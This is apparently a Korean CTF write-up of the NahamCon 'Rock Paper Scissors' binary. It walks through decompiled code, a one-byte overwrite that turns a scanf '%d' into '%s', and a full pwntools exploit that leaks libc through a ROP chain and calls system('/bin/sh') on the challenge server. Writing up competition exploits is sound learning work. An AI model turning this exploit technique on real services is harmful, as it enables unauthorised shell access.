Pwnstar
nahamconCTF Rock Paper Scissors 본문
가위바위보 게임인데 요...문제는 쉬웠다. 그래도 라업을 작성하는 이유는 재밌어서...?
카나리가 없는게 참 다행이다.
main
__int64 __usercall main@<rax>(char **a1@<rsi>, char **a2@<rdx>, __int64 a3@<rbp>)
{
char v3; // ST0F_1
__int64 v5; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v5 = a3;
printf_("How about a friendly game of Rock-Paper-Scissors? [y/n]: ", a1, a2);
v3 = getchar_();
getchar_();
if ( v3 == 'y' )
play_game((__int64)&v5, (__int64)a1);
else
puts_();
return 0LL;
}
y를 입력하면 play_game함수를 호출한다.
play_game
__int64 __usercall play_game@<rax>(__int64 a1@<rbp>, __int64 a2@<rsi>)
{
__int64 v2; // rdi
__int64 result; // rax
__int64 v4; // rdx
int v5; // [rsp-14h] [rbp-14h]
int v6; // [rsp-10h] [rbp-10h]
char v7; // [rsp-9h] [rbp-9h]
__int64 v8; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v8 = a1;
v7 = 1;
v2 = (unsigned int)time_(0LL);
result = srand_(v2);
while ( v7 )
{
v6 = (signed int)rand_() % 3 + 1;
menu(v2, a2);
scanf_(off_404028, &v5);
getchar_();
puts_();
putchar_(10LL);
printf_("Would you like to play again? [yes/no]: ", &v5, v4);
read_(0LL, &unk_404010, 25LL);
if ( (unsigned int)strcmp_("no\n", &unk_404010) )
{
if ( (unsigned int)strcmp_("yes\n", &unk_404010) )
{
puts_();
v7 = 0;
}
else
{
v7 = 1;
}
}
else
{
v7 = 0;
}
a2 = 0LL;
v2 = (__int64)&unk_404010;
result = memset_(&unk_404010, 0LL, 4LL);
}
return result;
}
보면 scanf함수에 포맷 스트링을 변수에 저장해놓고 호출한다.
0x40200B의 주소에는 "%d"가 있는데,
play_game함수에서 게임을 다시 할 거냐는 질문을 0x404010의 위치에 입력을 받는다. 그러면 0x404028의 주소를 딱 한 바이트 덮어쓸 수 있게 되는데, 이 한 바이트를 \x08로 바꾸면 포맷 스트링을 %s로 바꿀 수 있고, 문자열을 겁나 많이 입력받을 수 있음.
이제 overflow를 일으킬 조건은 충분하고 rop를 이용해서 libc 릭하고 oneshot가젯 쓰면 된다.
ex.py
from pwn import*
import argparse
puts = 0x401100
prdi = 0x0000000000401513
puts_g = 0x0000000000403F98
play = 0x401313
ppr = 0x0000000000401511
def exp():
p.sendlineafter(": ", "y")
p.sendlineafter("> ", "1")
payload = "yes\n"
payload += "\x00"*20
payload += "\x08"
p.sendafter(": ", payload)
payload2 = "A"*0xc
payload2 += p64(0x404010)
payload2 += p64(prdi)
payload2 += p64(puts_g)
payload2 += p64(puts)
payload2 += p64(play)
p.sendlineafter("> ", payload2)
p.sendlineafter(": ", "no")
puts_got = u64(p.recv(6) + "\x00\x00")
libc = puts_got - 0x875a0
#libc = puts_got - 0x80aa0
log.info(hex(libc))
system = libc + 0x55410
binsh = libc + 0x1b75aa
#oneshot = libc + 0x4f432
log.info(hex(system))
log.info(hex(binsh))
payload3 = "A"*0x14
payload3 += p64(prdi)
payload3 += p64(binsh)
payload3 += p64(ppr)
payload3 += p64(0)*2
payload3 += p64(system)
p.sendlineafter("> ", payload3)
p.sendlineafter(": ", "no")
p.interactive()
if __name__ == '__main__' :
context.arch = 'amd64'
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true')
args = parser.parse_args()
if args.remote :
p = remote("challenge.nahamcon.com", 30068)
else:
env = {'LD_PRELOAD' : "./libc-2.31.so"}
p = process(['./rps'], env=env)
bp = 0x401388
bp2 = 0x401452
script='''
b*{}
'''.format(hex(bp2))
gdb.attach(p, script)
exp()
'CTF' 카테고리의 다른 글
nahamconCTF some-really-ordinary-program (0) | 2021.03.15 |
---|---|
nahamcon CTF Sort It! (0) | 2021.03.15 |
zer0ptsCTF oneshot (0) | 2021.03.08 |
diceCTF flippidy (0) | 2021.02.08 |
CSAW CTF bard's fail (0) | 2020.09.18 |
Comments